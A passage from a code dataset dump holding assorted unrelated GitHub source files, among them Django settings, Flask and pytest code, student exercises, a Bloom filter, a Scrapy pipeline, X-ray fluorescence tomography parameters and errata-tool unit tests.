'upload')\n\n# Default primary key field type\n# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\n\nMESSAGE_TAGS = {\n constants.DEBUG: 'badge-soft-primary',\n constants.ERROR: 'badge-soft-danger',\n constants.INFO: 'badge-soft-info',\n constants.SUCCESS: 'badge-soft-success',\n constants.WARNING: 'badge-soft-warning',\n}\n\n\nEMAIL_BACKEND = ''\nEMAIL_HOST = ''\nEMAIL_HOST_USER = ''\nEMAIL_HOST_PASSWORD = ''\nEMAIL_PORT = 2525\nDEFAULT_FROM_EMAIL = ''\n\nLOGIN_REDIRECT_URL = 'index'\nLOGIN_URL = 'Contas/Login'\n\n# INTERNAL_IPS = ['127.0.0.1', ]\n\n# Sessão em dias: 60s * 60m * 24h * 1d\nSESSION_COOKIE_AGE = 60 * 60 * 24\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\n# Salva a cada requisição\nSESSION_SAVE_EVERY_REQUEST = True\n\nALLOWED_HOSTS = ['*']\n\nTAGGIT_CASE_INSENSITIVE = True\n\n\n\n# CKEDITOR\nCKEDITOR_UPLOAD_PATH = 'upload/'\nCKEDITOR_ALLOW_NONIMAGE_FILES = True\nCKEDITOR_FILENAME_GENERATOR = 'utils/utils.get_filename'\n\nCKEDITOR_CONFIGS = {\n 'default': {\n 'toolbar_Basic': [\n ['Source', '-', 'Bold', 'Italic']\n ],\n 'toolbar_YourCustomToolbarConfig': [ \n {'name': 'clipboard', 'items': ['Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord', '-', 'Undo', 'Redo']}, \n \n {'name': 'yourcustomtools', 'items': [\n \n # put the name of your editor.ui.addButton here\n 'Preview',\n 'Maximize',\n\n ]},\n {'name': 'basicstyles',\n 'items': ['Bold', 'Italic', 'Underline', 'Strike', 'Subscript', 'Superscript', '-', 'RemoveFormat']},\n {'name': 'paragraph',\n 'items': ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'Blockquote', '-',\n 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock', '-',\n ]}, \n {'name': 'links', 'items': ['Link', 'Unlink', 'Anchor']},\n {'name': 'insert',\n 'items': ['Flash', 'Table', 'HorizontalRule', 'Smiley',]},\n '/',\n {'name': 'styles', 'items': ['Styles', 'Format', 'Font', 'FontSize']},\n {'name': 'colors', 'items': ['TextColor', 'BGColor']},\n '/', # put this to force next toolbar on new line\n \n ],\n 'toolbar': 'YourCustomToolbarConfig', # put selected toolbar config here\n 'toolbarGroups': [{ 'name': 'document', 'groups': [ 'mode', 'document', 'doctools' ] }],\n 'height': 400,\n 'width': '100%',\n # 'filebrowserWindowHeight': 725, \n # 'filebrowserWindowWidth': 940,\n # 'toolbarCanCollapse': True,\n # 'mathJaxLib': '//cdn.mathjax.org/mathjax/2.2-latest/MathJax.js?config=TeX-AMS_HTML',\n 'tabSpaces': 4,\n 'extraPlugins': ','.join([\n 'uploadimage', # the upload image feature \n # your extra plugins here\n 'div',\n 'autolink',\n 'autoembed',\n 'embedsemantic',\n 'autogrow',\n # 'devtools',\n 'widget',\n 'lineutils',\n 'clipboard',\n 'dialog',\n 'dialogui',\n 'elementspath'\n ]),\n }\n}\n\n\n","repo_name":"sidneymarcelofranco/ChamadoDP","sub_path":"configurations/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75069766224","text":"import pytest as pt\n\nfrom tests.fixtures import (\n testing_app_and_client,\n testing_user_and_tokens\n)\n\n\n@pt.mark.usefixtures(\"testing_user_and_tokens\")\n@pt.mark.usefixtures(\"testing_app_and_client\")\nclass TestSettlementResource:\n\n def test_post_return_200(\n self, \n testing_app_and_client,\n testing_user_and_tokens\n ):\n _, client = testing_app_and_client\n headers, _, _, _ = testing_user_and_tokens\n req_data = {\n \"items\": [\n {\n \"amount\": 1,\n \"id\": 1\n },\n {\n \"amount\": 1,\n \"id\": 6\n }\n ],\n \"purchase\": {\n \"name\": \"周志明\",\n \"telephone\": \"18888888888\",\n \"delivery\": True,\n \"address\": {\n \"province\": \"广东省\",\n \"city\": \"广州市\",\n \"area\": \"海珠区\"\n },\n \"location\": \"广东省 广州市 海珠区 唐家湾港湾大道科技一路3号远光软件股份有限公司\",\n \"pay\": \"wechat\",\n \"id\": 1,\n \"username\": \"icyfenix\",\n \"avatar\": \"https://www.gravatar.com/avatar/1563e833e42fb64b41eed34c9b66d723?d=mp\",\n \"email\": \"icyfenix@gmail.com\"\n }\n }\n resp_data_expected = {\n # 'create_time': '2023-01-11 17:19:54',\n 'expires': 3,\n # 'id': 1,\n # 'pay_id': \"6bd75366-9191-11ed-a431-1e002322ba40\",\n 'pay_state': 'WAITING',\n 'payemnt_link': '/v1/pay/modify/{pay_id}?state=WAITING&accountId=2',\n 'total_price': 208.0\n }\n resp = client.post(\n \"/v1/settlement\",\n json=req_data,\n headers=headers\n )\n assert resp.status_code == 200\n # from pprint import pprint\n # pprint(resp.json)\n resp_data_actual = resp.json\n pay_id = resp_data_actual[\"pay_id\"]\n resp_data_expected[\"payemnt_link\"] = resp_data_expected[\"payemnt_link\"].format(pay_id=pay_id)\n for key in [\"create_time\", \"id\", \"pay_id\"]:\n resp_data_actual.pop(key)\n assert resp_data_actual == resp_data_expected\n \n","repo_name":"buglib/arch_monolithic_flask","sub_path":"tests/v1/resources/test_settlement.py","file_name":"test_settlement.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70716281426","text":"import datetime\nfrom datetime import date\n\n\nfrom flask import current_app\nfrom sqlalchemy.sql.expression import ClauseElement\n\nfrom server.application import db\n\nclass Listing(db.Model):\n __tablename__ = 'listings'\n\n id = db.Column(db.Integer, primary_key=True)\n property_id = db.Column(db.Integer)\n street = db.Column(db.String(256), index=True)\n status = db.Column(db.String(128))\n price = db.Column(db.Integer)\n bedrooms = db.Column(db.Integer)\n bathrooms = db.Column(db.Integer)\n sq_ft = db.Column(db.Integer)\n lat = db.Column(db.Float)\n lng = db.Column(db.Float)\n created_at = db.Column(db.DateTime, server_default=db.func.now())\n updated_at = db.Column(db.DateTime, server_default=db.func.now(),\n onupdate=db.func.now())\n\n def get_geometry(self):\n \"\"\"Geometry is a dictionary of the type and the lat and lng coords.\n\n All listings are only of type \"point\".\n\n Returns:\n Dictionary representing the geometry of the model.\n \"\"\"\n return {\n \"type\": \"Point\",\n \"coordinates\": [self.lat, self.lng]\n }\n\n def marshal_response(self):\n \"\"\"Prepares record for an API response.\"\"\"\n return {\n \"type\": \"Feature\",\n \"geometry\": self.get_geometry(),\n \"properties\": {\n \"id\": self.property_id,\n \"price\": self.price,\n \"street\": self.street,\n \"bedrooms\": self.bedrooms,\n \"bathrooms\": self.bathrooms,\n \"sq_ft\": self.sq_ft\n }\n }\n\n\ndef get_or_create(model, defaults=None, **kwargs):\n \"\"\"Convenience method for getting a record or creating it.\n\n Args:\n model: {db.Model} The model to get or create a record from.\n defaults: {dict} Dictionary of default key, value pairs.\n\n Returns:\n instance, False if record exists\n instance, True if not\n \"\"\"\n instance = model.query.filter_by(**kwargs).first()\n if instance:\n return instance, False\n else:\n params = dict((k, v) for k, v in kwargs.iteritems() if not isinstance(\n v, ClauseElement))\n params.update(defaults or {})\n instance = model(**params)\n db.session.add(instance)\n db.session.commit()\n return instance, True\n","repo_name":"ericso/opendoor-api-challenge","sub_path":"server/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16588803392","text":"# 숫자 문자열과 영단어\n\ndef solution(s):\n sol = {'zero':0, 'one':1, 'two':2, 'three':3, 'four':4, 'five':5, 'six':6,\n 'seven':7, 'eight':8, 'nine':9}\n for i in sol.keys():\n if i in s:\n # print(i)\n # print(sol.get(i))\n s = s.replace(i, str(sol.get(i)))\n answer = int(s) \n\n return answer","repo_name":"junhokim42/Python_study","sub_path":"Coding_test/01_programmers_Lv1/40.py","file_name":"40.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"20594503971","text":" #!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport numpy as np\nimport torch as tc\nimport xraylib as xlib\nfrom XRF_tomography import reconstruct_jXRFT_tomography\nfrom mpi4py import MPI\nfrom misc import create_summary\n\nimport warnings\n\ncomm = MPI.COMM_WORLD\nn_ranks = comm.Get_size()\nrank = comm.Get_rank()\nwarnings.filterwarnings(\"ignore\")\n\n#========================================================\n# Set the device\n#========================================================\n# stdout_options = {'output_folder': recon_path, 'save_stdout': False, 'print_terminal': True}\ngpu_index = rank % 2\n# gpu_index = 1\nif tc.cuda.is_available(): \n dev = tc.device('cuda:{}'.format(gpu_index))\n print(\"Process \", rank, \"running on\", dev)\n sys.stdout.flush()\nelse: \n dev = \"cpu\"\n print(\"Process\", rank, \"running on CPU\")\n sys.stdout.flush()\n\n\nfl = {\"K\": np.array([xlib.KA1_LINE, xlib.KA2_LINE, xlib.KA3_LINE, xlib.KB1_LINE, xlib.KB2_LINE,\n xlib.KB3_LINE, xlib.KB4_LINE, xlib.KB5_LINE]),\n \"L\": np.array([xlib.LA1_LINE, xlib.LA2_LINE, xlib.LB1_LINE, xlib.LB2_LINE, xlib.LB3_LINE,\n xlib.LB4_LINE, xlib.LB5_LINE, xlib.LB6_LINE, xlib.LB7_LINE, xlib.LB9_LINE,\n xlib.LB10_LINE, xlib.LB15_LINE, xlib.LB17_LINE]), \n \"M\": np.array([xlib.MA1_LINE, xlib.MA2_LINE, xlib.MB_LINE]) \n }\n\n\nparams_3d_test_sample8_64_64_64 = {\n 'f_recon_parameters': 'recon_parameters.txt',\n 'dev': dev,\n 'use_std_calibation': False,\n 'probe_intensity': 1.0E7,\n 'std_path': None,\n 'f_std': None,\n 'std_element_lines_roi': None,\n 'density_std_elements': None,\n 'fitting_method': None,\n 'selfAb': False,\n 'cont_from_check_point': False,\n 'use_saved_initial_guess': False,\n 'ini_kind': 'const',\n 'init_const': 0.0,\n 'ini_rand_amp': 0.1,\n 'recon_path': './data/sample_8_size_64_test_recon',\n 'f_initial_guess': 'initialized_grid_concentration',\n 'f_recon_grid': 'grid_concentration',\n 'data_path': './data/sample_8_size_64_test',\n 'f_XRF_data': 'test8_xrf', \n 'f_XRT_data': 'test8_xrt',\n 'scaler_counts_us_ic_dataset_idx':1,\n 'scaler_counts_ds_ic_dataset_idx':2,\n 'XRT_ratio_dataset_idx':3,\n 'theta_ls_dataset': 'exchange/theta', \n 'channel_names': 'exchange/elements', \n 'this_aN_dic': {\"Ca\": 20, \"Sc\": 21},\n 'element_lines_roi': np.array([['Ca', 'K'], ['Ca', 'L'], ['Sc', 'K'], ['Sc', 'L']]),\n 'n_line_group_each_element': np.array([2, 2]),\n 'sample_size_n': 64, \n 'sample_height_n': 64,\n 'sample_size_cm': 0.01, \n 'probe_energy': np.array([20.0]), \n 'n_epochs': 300,\n 'save_every_n_epochs': 1,\n 'minibatch_size': 64,\n 'b1': 0, # the regulizer coefficient of the XRT loss\n 'b2': 1,\n 'lr': 1.0E-3, \n 'det_dia_cm': 0.9,\n 'det_from_sample_cm': 1.6,\n 'manual_det_coord': False,\n 'set_det_coord_cm': None,\n 'det_on_which_side': \"positive\", \n 'manual_det_area': False,\n 'det_area_cm2': None, \n 'det_ds_spacing_cm': 0.4,\n 'P_folder': 'data/P_array/sample_64_64_64/detSpacing_0.4_dpts_5', \n 'f_P': 'Intersecting_Length_64_64_64',\n 'fl_K': fl[\"K\"],\n 'fl_L': fl[\"L\"], \n 'fl_M': fl[\"M\"]\n }\n\n\nparams = params_3d_test_sample8_64_64_64\n\nif __name__ == \"__main__\": \n \n reconstruct_jXRFT_tomography(**params)\n \n if rank == 0:\n output_folder = params[\"recon_path\"]\n create_summary(output_folder, params)\n","repo_name":"hpphappy/XRF_tomography","sub_path":"3D/.ipynb_checkpoints/JXRFT_recon_simu-checkpoint.py","file_name":"JXRFT_recon_simu-checkpoint.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30793864871","text":"\"\"\"\nUBUNTU SCANNER\nDeveloper: Jack Carmichael\nEmail: carmichaeljr@s.dcsdk12.org\n\"\"\"\n\n\nfrom shutil import copy2\nfrom Backend.FileWrapper import File\n\n\nclass ConfigFile(File):\n\tdef __init__(self):\n\t\tsuper(ConfigFile,self).__init__(\"Backend/ProgramResources\",\"filenames.txt\")\n\t\tself._removeDuplicates()\n\t\t\n\tdef _removeDuplicates(self):\n\t\tdelList=list()\n\t\tfor _file in super(ConfigFile,self).openCloseFileGenerator('r'):\n\t\t\tallLines=_file.readlines()\n\t\tfor x in range(0,len(allLines)-1):\n\t\t\tif allLines[x] in allLines[x+1:]:\n\t\t\t\tdelList.append(allLines[x])\n\t\tfor item in delList:\n\t\t\tsuper(ConfigFile,self).deleteLine(item)\n\t\t\tsuper(ConfigFile,self).writeLine(item)\n\t\t\t\n\tdef addFilePath(self,path):\n\t\treturnString=\"\"\n\t\tfor _file in super(ConfigFile,self).openCloseFileGenerator('r'):\n\t\t\tallLines=_file.readlines()\n\t\t\ttry:\n\t\t\t\t# dependency: The path is not dynamic for multiple OS\n\t\t\t\tcopy2(path,\"Backend/ProgramResources/UnchangedConfigFiles\")\n\t\t\texcept IOError:\n\t\t\t\treturnStirng='\"Error copying\"'\n\t\tif File.exists(path) and (not path in allLines):\n\t\t\tsuper(ConfigFile,self).writeLine(path)\n\t\telif path in allLines:\n\t\t\treturnString='\"The given path is already in the path list.\"'+\\\n\t\t\t\t\t\t '\" . Given path: {0}\"'.format(path)\n\t\telif not File.exists(path):\n\t\t\treturnString='\"The given path does not exist.\"'+\\\n\t\t\t\t\t\t '\" . Given path: {0}\"'.format(path)\n\t\treturn returnString\n\t\t\t\n\nif __name__==\"__main__\":\n\ttestConfigFile=ConfigFile()\n\ttestConfigFile.writeLine(\"Haha\")\n\tprint(testConfigFile.readLine(3))\n\ttestConfigFile.addFilePath(\"/media/jack/USB_16GB/Temp Python Programs/Ubuntu Scanner/Backend/ProgramResources/filenames.txt\")\n\t\n\t\n","repo_name":"carmichaeljr/UbuntuScanner","sub_path":"Backend/ConfigFile.py","file_name":"ConfigFile.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39016387929","text":"# Untitled.py\n# Created by Kids on 2/23/2\n'''theo = [\"steve\", \"pam\", \"zoe\", \"janis\", \"andy\", \"donna\", \"linn\", \"joe\", \"noa\", \"george\", \"amiyah\", \"rayn\", \"dylan\", \"luca\", \"pete\"]\nsteve = [\"theo\", \"pam\", \"zoe\", \"janis\", \"andy\", \"donna\", \"linn\" \"joe\", \"jason\", \"mike\", \"todd\", \"steve\", \"david\", \"melissa\", \"jill\"]\npam = [steve, pam, zoe, janis, andy, donna, linn, joe,]\nzoe = [steve, pam, zoe, janis, andy, donna, linn, joe,]\njanis = [steve, pam, zoe, janis, andy, donna, linn, joe,]\nandy = [steve, pam, zoe, janis, andy, donna, linn, joe,]\ndonna = [steve, pam, zoe, janis, andy, donna, linn, joe,]\nlinn = [steve, pam, zoe, janis, andy, donna, linn, joe,]\njoe = [steve, pam, zoe, janis, andy, donna, linn, joe,]'''\nsteve_knows = [\"george stephenopoulos\", \"peter jennings\", \"allen keys\", \"jason morris\", \"hilary clinton\", \"mike lupica\", \"john mccain\", \"chris collins\", \"michael jordan\", \"zadie\", \"zadie\", \"donna\", \"staci\", \"theo\", \"zoe\", \"pam\", \"jerry\", \"david\", \"vanessa\", \"melissa\"]\npapa_joe_knows = [\"steve\", \"andy\", \"linn\", \"janis\", \"christopher\", \"roberta\", \"theo\", \"zoe\", \"christopher\", \"tommy\", \"pam\"]\ntheo_knows = [\"papa joe\", \"steve\", \"tutu\", \"pam\", \"zadie\", \"jason\", \"jenny\", \"dylan\", \"amiyah\", \"george\", \"rayn\", \"luca\", \"pablo\", \"noa\", \"annabelle\", \"sean\"]\nzoe_knows = [\"quinn\", \"isa\", \"savi\", \"jack\", \"xylem\", \"challotte\", \"aidan\", \"natalie\", \"maddie\", \"dylan\", \"clark\", \"vivian\", \"tyler\", \"kyler\", \"mason\"]\npam_knows = [\"kendra\", \"susanna\", \"lauren\", \"micky\", \"andy\", \"andrea\", \"andrea farber\", \"dan unger\", \"tommy\", \"dana\", \"malia\"]\njmo_knows = [\"judy woodruff\", \"jeremy steiner\", \"steph mo\", \"kmo\", \"donna\", \"mike\", \"\"]\ngeorge_knows = [\"joe biden\", \"barack obama\", \"michelle obama\", \"kamala harris\", \"luke bryan\", \"katy perry\", \"ryan seacrest\", \"lionel richie\"]\nkaty_knows = [\"glen bernard\", \"christena aguilera\", \"alanis morissette\", \"kelly clarkson\"]\nkelly_knows = [\"john legend\", \"gwen stefani\", \"blake shelton\", \"nick jonas\", \"jason aldean\"]\nht_peeps = {\"papa joe\" : papa_joe_knows, \"steve\" : steve_knows, \"theo\" : theo_knows, \"zoe\" : zoe_knows, \"pam\" : pam_knows, \"jason morris\" : jmo_knows, \"george stephenapoulos\" : george_knows, \"katy perrry\" : katy_knows, \"kelly clarkson\" : kelly_knows}\ndef bacon_degrees(person1, person2, visited=[], counted=1, min_=1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901):\n\tprint(person1 + \" + \" + str(ht_peeps[person1]))\n\tif person2 in ht_peeps[person1]:\n\t\treturn counted\n\tfor i in ht_peeps[person1]:\n\t\tif person2 == i:\n\t\t\treturn counted\n\t\telse:\n\t\t\tif i in ht_peeps and i not in visited:\n\t\t\t\ta = bacon_degrees(i, person2, visited+[person1], counted+1)\n\t\t\t\tif a is not None:\n\t\t\t\t\tif a < min_:\n\t\t\t\t\t\tmin_ = a\n\treturn min_\t\t\t\t\t\nif __name__ == \"__main__\":\n\tanswer_p1 = input(\"who would you like one of the persons to be connected to to be?\\n\")\n\tanswer_p2 = input(\"who would you the other of the persons to be connected to to be?\\n\")\n\tprint(bacon_degrees(answer_p1, answer_p2))\n\t","repo_name":"CoolAsTapatio/coding-lessons","sub_path":"helpers/Kevin bacon.py","file_name":"Kevin bacon.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31366377569","text":"# Creating a class called QuizBrain\nclass QuizBrain:\n # Initalizing few attributes for the class.\n def __init__(self, q_list):\n # Setting the question number to 0\n self.question_number = 0\n # Storing the list of objects which contains question and answers.\n self.question_list = q_list\n # Creating a variable to store the score.\n self.score = 0\n \n # Creating a new method called still_has_question to check if there are more questions left. Returning True and False.\n def still_has_questions(self):\n if self.question_number + 1 > len(self.question_list):\n return False\n else:\n return True\n \n # Craeting a method for the QuizBrain.\n def next_question(self):\n # Getting hold of the current question.\n self.current_question = self.question_list[self.question_number]\n # Adding 1 to question_number so that it will be starting from 1 whilg going to the next line instead of 0.\n self.question_number += 1\n # Showing the question to the user and getting the True of False input from him.\n self.user_answer = input(f\"Q.{self.question_number}: {self.current_question.text} (True or False): \")\n # Calling the check_answer method and checking the answer.\n self.check_answer(self.user_answer, self.current_question.answer)\n # Creating the check_answer method to see whether the answer is correct and doing some steps according to it.\n def check_answer(self, input, answer):\n # If the answer is correct\n if input.lower() == answer.lower():\n print(\"You got it right!\")\n # Getting the socre up by one.\n self.score += 1\n # Showing the score of the user.\n print(f\"Your current score is: {self.score} / {self.question_number}\")\n # If the answer is incorrect\n else:\n print(\"You got it wrong\")\n # Showing the score of the user.\n print(f\"Your current score is: {self.score} / {self.question_number}\")\n # Showing the user what was the correct answer.\n # Printing a new line to improve the user experience.\n print(\"\\n\")\n","repo_name":"Akilesh-programmer/quiz_project","sub_path":"quiz_brain.py","file_name":"quiz_brain.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25434604767","text":"def checkPrime(n):\n if n < 2:\n return False\n for i in range(2, int(n**0.5)+1):\n if n % i == 0:\n return False\n return True\n\nn = int(input())\na = [int(i) for i in input().split()]\n\nres = 0\nfor i in a:\n cntU = 0\n cntD = 0\n m = i\n while not(checkPrime(m)):\n cntU += 1\n m += 1\n m = i\n while not(checkPrime(m)):\n cntD += 1\n m -= 1\n res = max(min(cntU, cntD), res)\nprint(res)","repo_name":"ducanhnguyen07/Python","sub_path":"bien_doi_nguyen_to.py","file_name":"bien_doi_nguyen_to.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8034689536","text":"import json\nfrom pyspark import SparkContext, SparkConf\nimport os\nimport csv\nfrom itertools import combinations\nimport sys\nimport time\nimport random\nfrom operator import add\nimport operator\nfrom math import sqrt\nfrom functools import reduce\nfrom blackbox import BlackBox\nimport binascii\n\n\n\ndef to_int(user_id):\n return int(binascii.hexlify(user_id.encode('utf8')), 16)\n\ndef myhashs(user_id):\n userid = to_int(user_id)\n\n a1, b1, m1 = 131, 103, 69997\n a2, b2, m2, p2 = 137, 107, 69997, 701\n a3, b3, m3 = 149, 109, 69997\n hash1 = (a1 * userid + b1) % m1\n hash2 = ((a2 * userid + b2) % p2) % m2\n hash3 = (a3 * userid + b3) % m3\n\n return [hash1, hash2, hash3]\n\ndef bloom_filter(users, bits, users_seen):\n new_users = set()\n fp = 0\n\n for user in users:\n is_new = False\n for hash_value in myhashs(user):\n if bits[hash_value] == 0:\n is_new = True\n bits[hash_value] = 1\n if is_new:\n new_users.add(user)\n elif user not in users_seen:\n fp += 1\n\n return new_users, fp\n\nnum_of_asks = sys.argv[3]\nstream_size = sys.argv[2]\nfile_name = sys.argv[1]\nbits = [0] * 69997\nusers_seen = set()\n\nbx = BlackBox()\n\nwith open(sys.argv[4], mode='w', newline='') as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow(['Time', 'FPR'])\n\n for ask_idx in range(int(num_of_asks)):\n stream = bx.ask(file_name, int(stream_size))\n new_users, fp = bloom_filter(stream, bits, users_seen)\n fpr = fp / len(new_users) if new_users else 0\n \n writer.writerow([ask_idx, fpr])\n users_seen.update(new_users)","repo_name":"jxlzn/Data-Mining-and-ML","sub_path":"Streaming Data, Sampling and Flajolet-Martin/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19833909241","text":"# -*- coding: utf-8 -*-\nfrom openpyxl import Workbook\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass CommentsPipeline(object):\n # zone, name, title, status tag, ctype, content, postTime, reply, replyTime\n def __init__(self):\n self.wb = Workbook()\n self.ws = self.wb.active\n self.ws.append(['地区', '领导', '标题', '状态', '标签', '类型', '内容', '发布时间', '回复内容', '回复时间'])\n\n def process_item(self, item, spider):\n line = [item['zone'], item['name'], item['title'], item['status'], item['tag'], item['ctype'], item['content'], item['postTime'], item['reply'], item['replyTime']]\n self.ws.append(line)\n self.wb.save('comments.xlsx')\n return item\n","repo_name":"zengmiaokun/Comments_People","sub_path":"comments/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45027838536","text":"\"\"\"\nTest errata models/controllers\n\"\"\"\nfrom __future__ import unicode_literals\nimport datetime\nimport mock\nimport json\nimport flexmock\nfrom errata_tool import ErrataException\nimport bugzilla\n\nimport unittest\nfrom . import test_structures\nfrom elliottlib import errata, constants, brew, exceptions\n\n\nclass TestErrata(unittest.TestCase):\n\n def test_parse_date(self):\n \"\"\"Verify we can parse the date string returned from Errata Tool\"\"\"\n d_expected = '2018-03-02 15:19:08'\n d_out = datetime.datetime.strptime(test_structures.example_erratum['errata']['rhba']['created_at'], '%Y-%m-%dT%H:%M:%SZ')\n self.assertEqual(str(d_out), d_expected)\n\n def test_get_filtered_list(self):\n \"\"\"Ensure we can generate an Erratum List\"\"\"\n flexmock(errata).should_receive(\"Erratum\").and_return(None)\n\n response = flexmock(status_code=200)\n response.should_receive(\"json\").and_return(test_structures.example_erratum_filtered_list)\n\n flexmock(errata.requests).should_receive(\"get\").and_return(response)\n\n res = errata.get_filtered_list()\n self.assertEqual(2, len(res))\n\n def test_get_filtered_list_limit(self):\n \"\"\"Ensure we can generate a trimmed Erratum List\"\"\"\n flexmock(errata).should_receive(\"Erratum\").and_return(None)\n\n response = flexmock(status_code=200)\n response.should_receive(\"json\").and_return(test_structures.example_erratum_filtered_list)\n\n flexmock(errata.requests).should_receive(\"get\").and_return(response)\n\n res = errata.get_filtered_list(limit=1)\n self.assertEqual(1, len(res))\n\n def test_get_filtered_list_fail(self):\n \"\"\"Ensure we notice invalid erratum lists\"\"\"\n (flexmock(errata.requests)\n .should_receive(\"get\")\n .and_return(flexmock(status_code=404, text=\"_irrelevant_\")))\n\n self.assertRaises(exceptions.ErrataToolError, errata.get_filtered_list)\n\n def test_parse_exception_error_message(self):\n self.assertEqual([1685398], errata.parse_exception_error_message('Bug #1685398 The bug is filed already in RHBA-2019:1589.'))\n\n self.assertEqual([], errata.parse_exception_error_message('invalid format'))\n\n self.assertEqual([1685398, 1685399], errata.parse_exception_error_message('''Bug #1685398 The bug is filed already in RHBA-2019:1589.\n Bug #1685399 The bug is filed already in RHBA-2019:1589.'''))\n\n def test_get_advisories_for_bug(self):\n bug = 123456\n advisories = [{\"advisory_name\": \"RHBA-2019:3151\", \"status\": \"NEW_FILES\", \"type\": \"RHBA\", \"id\": 47335, \"revision\": 3}]\n with mock.patch(\"requests.Session\") as MockSession:\n session = MockSession()\n response = session.get.return_value\n response.json.return_value = advisories\n actual = errata.get_advisories_for_bug(bug, session)\n self.assertEqual(actual, advisories)\n\n def test_parse_product_version(self):\n product_version_map = {}\n product_version_json = \"\"\"{\n \"data\":[\n {\"id\":964,\"type\":\"product_versions\",\"attributes\":{\"name\":\"OSE-4.1-RHEL-8\",\"description\":\"Red Hat OpenShift Container Platform 4.1\",\"default_brew_tag\":\"rhaos-4.1-rhel-8-candidate\",\"allow_rhn_debuginfo\":false,\"is_oval_product\":false,\"is_rhel_addon\":false,\"is_server_only\":true,\"enabled\":true},\"brew_tags\":[\"rhaos-4.1-rhel-8-candidate\"],\"relationships\":{\"rhel_release\":{\"id\":87,\"name\":\"RHEL-8\"},\"sig_key\":{\"id\":8,\"name\":\"redhatrelease2\"}}}]\n }\"\"\"\n data = json.loads(product_version_json)\n for i in data['data']:\n if i['type'] == 'product_versions':\n for tags in i['brew_tags']:\n product_version_map[tags] = i['attributes']['name']\n\n self.assertEqual(product_version_map, {'rhaos-4.1-rhel-8-candidate': 'OSE-4.1-RHEL-8'})\n\n def test_get_rpmdiff_runs(self):\n advisory_id = 12345\n responses = [\n {\n \"data\": [\n {\"id\": 1},\n {\"id\": 2},\n ]\n },\n {\n \"data\": [\n {\"id\": 3},\n ]\n },\n {\n \"data\": []\n },\n ]\n session = mock.MagicMock()\n\n def mock_response(*args, **kwargs):\n page_number = kwargs[\"params\"][\"page[number]\"]\n resp = mock.MagicMock()\n resp.json.return_value = responses[page_number - 1]\n return resp\n\n session.get.side_effect = mock_response\n actual = errata.get_rpmdiff_runs(advisory_id, None, session)\n self.assertEqual(len(list(actual)), 3)\n\n\nclass TestAdvisoryImages(unittest.TestCase):\n\n mocked_ocp3_response = {\n 'kube-rbac-proxy-container-v3.11.154-1': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift3-ose-kube-rbac-proxy': {\n 'tags': ['latest', 'v3.11', 'v3.11.154', 'v3.11.154-1']\n }\n }\n }\n }\n },\n 'jenkins-subordinate-base-rhel7-container-v3.11.154-1': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift3-jenkins-subordinate-base-rhel7': {\n 'tags': ['v3.11', 'v3.11.154', 'v3.11.154-1']\n }\n }\n }\n }\n },\n 'openshift-enterprise-pod-container-v3.11.154-1': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift3-ose-pod': {\n 'tags': ['latest', 'v3.11', 'v3.11.154', 'v3.11.154-1']\n }\n }\n }\n }\n }\n }\n\n mocked_ocp4_response = {\n 'atomic-openshift-cluster-autoscaler-container-v4.2.5-201911121709': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift4-ose-cluster-autoscaler': {\n 'tags': ['4.2', 'latest', 'v4.2.5', 'v4.2.5-201911121709']\n }\n }\n }\n }\n },\n 'cluster-monitoring-operator-container-v4.2.5-201911121709': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift4-ose-cluster-monitoring-operator': {\n 'tags': ['4.2', 'latest', 'v4.2.5', 'v4.2.5-201911121709']\n }\n }\n }\n }\n },\n 'cluster-node-tuning-operator-container-v4.2.5-201911121709': {\n 'docker': {\n 'target': {\n 'repos': {\n 'redhat-openshift4-ose-cluster-node-tuning-operator': {\n 'tags': ['4.2', 'latest', 'v4.2.5', 'v4.2.5-201911121709']\n }\n }\n }\n }\n },\n 'golang-github-openshift-oauth-proxy-container-v4.2.5-201911121709': {\n 'docker': {\n 